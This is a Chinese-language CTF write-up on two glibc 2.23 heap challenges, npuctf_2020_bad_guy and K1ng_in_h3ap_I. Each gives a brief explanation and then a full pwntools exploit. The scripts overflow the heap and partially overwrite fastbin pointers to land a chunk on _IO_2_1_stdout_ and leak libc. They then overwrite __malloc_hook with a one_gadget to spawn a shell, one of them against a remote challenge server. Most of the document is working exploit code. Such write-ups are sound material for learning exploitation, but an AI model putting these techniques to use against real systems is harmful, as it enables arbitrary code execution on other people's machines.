两道fastbin attack+_IO_2_1_stdout_

npuctf_2020_bad_guy

第一次做_IO_2_1_stdout_泄露libc的题
64位,不能正常dump出libc基址,考虑将堆块申请到_IO_2_1_stdout_处修改_flags_IO_2_1_write_base泄露libc
由于edit堆溢出,修改unsortedbin fd指针(爆破低二字节)后分配0x10大小堆块使剩余堆块进入fastbin,申请堆块到_IO_2_1_stdout_-0x43处(此处0x7f跟fastbin attack伪造fake chunk同理
此时修改_IO_2_1_write_base_flags_flags修改为0xfbad1887即可绕过所有检查,_IO_2_1_write_base低位覆盖为\x00即可,保证_IO_2_1_write_base小于_IO_2_1_write_ptr
之后任意执行一次puts函数即可泄露libc基址
最后利用泄露的libc基址,劫持利用fastbin attack劫持malloc_hook打one_gadget即可
注意此题的glibc版本为2.23-0ubuntu11
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node4.buuoj.cn",25428)
io=process("./npuctf_2020_bad_guy")
elf=ELF("./npuctf_2020_bad_guy")
libc=ELF("libc-2.23.so")

one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]

def add(n,s,cc):
    io.sendlineafter(b">> ",b"1")
    io.sendlineafter(b"Index :",str(n))
    io.sendlineafter(b"size: ",str(s))
    io.sendafter(b"Content:",cc)
    
def edit(n,s,cc):
    io.sendlineafter(b">> ",b"2")
    io.sendlineafter(b"Index :",str(n))
    io.sendlineafter(b"size: ",str(s))
    io.sendafter(b"content: ",cc)
    
def delete(n):
    io.sendlineafter(b">> ",b"3")
    io.sendlineafter(b"Index :",str(n))
    
gdb.attach(io)
pause()  
    
add(0,0x10,b"aaa")
add(1,0x10,b"bbb")
add(2,0x60,b"ccc")
add(3,0x10,b"ddd")

delete(2)

payload=cyclic(0x18)+p64(0x91)
edit(0,len(payload),payload)

delete(1)

add(4,0x10,b"bbb")

payload=p64(0)*3+p64(0x71)+b"\xdd\x55"
edit(4,len(payload),payload)

add(5,0x60,b"eee")

payload=b"\x00"*0x33+p64(0xfbad1887)+p64(0)*3+b"\x00"

add(6,0x60,payload)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-192-libc.sym[b"_IO_2_1_stderr_"]
print("leak_addr: "+hex(leak_addr))
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
shell=leak_addr+one_gadget[3]

add(7,0x60,b"aaa")
delete(7)

payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)

add(8,0x60,b"qqq")
add(9,0x60,cyclic(0x13)+p64(shell))
# add(7,0x60,b"ooo")
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Index :",b"7")
io.sendlineafter(b"size: ",b"18")

io.interactive()

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

[2021 长城杯_院校组]K1ng_in_h3ap_I

利用泄露的printf的基址推算处stdout-0x43处地址,修改fastbin fd低3字节打fastbin attack
然后利用_IO_2_1_stdout_泄露libc
最后realloc调栈打one_gadget
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.anna.nssctf.cn",28714)
# io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")

def add(n,s):
    io.sendlineafter(">> \n","1")
    io.sendlineafter("index:\n",str(n))
    io.sendlineafter(b"size:\n",str(s))
    
def delete(n):
    io.sendlineafter(">> \n","2")
    io.sendlineafter("index:\n",str(n))
    
def edit(n,cc):
    io.sendlineafter(">> \n","3")
    io.sendlineafter("index:\n",str(n))
    io.sendlineafter(b"context:\n",cc)
    
def mg():
    io.sendlineafter(">> \n","666")

# gdb.attach(io)
# pause()

mg()
io.recvuntil(b"0x")
low_bytes=int(io.recv(6),16)
print("low bytes: "+hex(low_bytes))
stdout=low_bytes+0x36fe10
print("stdout: "+hex(stdout))

add(0,0x60)
add(1,0x90)
add(2,0x60)
add(3,0x60)

delete(1)
add(4,0x60)
edit(4,p64(stdout-0x43)[:3])
delete(0)
delete(2)
edit(2,b"\x70")

add(5,0x60)
add(6,0x60)
add(7,0x60)

payload=b"\x00"*0x33+p64(0xfbad1887)+p64(0)*3+b"\x00"
edit(7,payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-192-libc.sym[b"_IO_2_1_stderr_"]
print("leak addr: "+hex(leak_addr))

malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
realloc=leak_addr+libc.sym[b"__libc_realloc"]
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
shell=leak_addr+one_gadget[1]

add(8,0x60)
delete(3)
edit(3,p64(malloc_hook-0x23))
add(9,0x60)
add(10,0x60)
edit(10,cyclic(0xb)+p64(shell)+p64(realloc+0xc))

delete(9)
add(9,0x60)

io.interactive()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL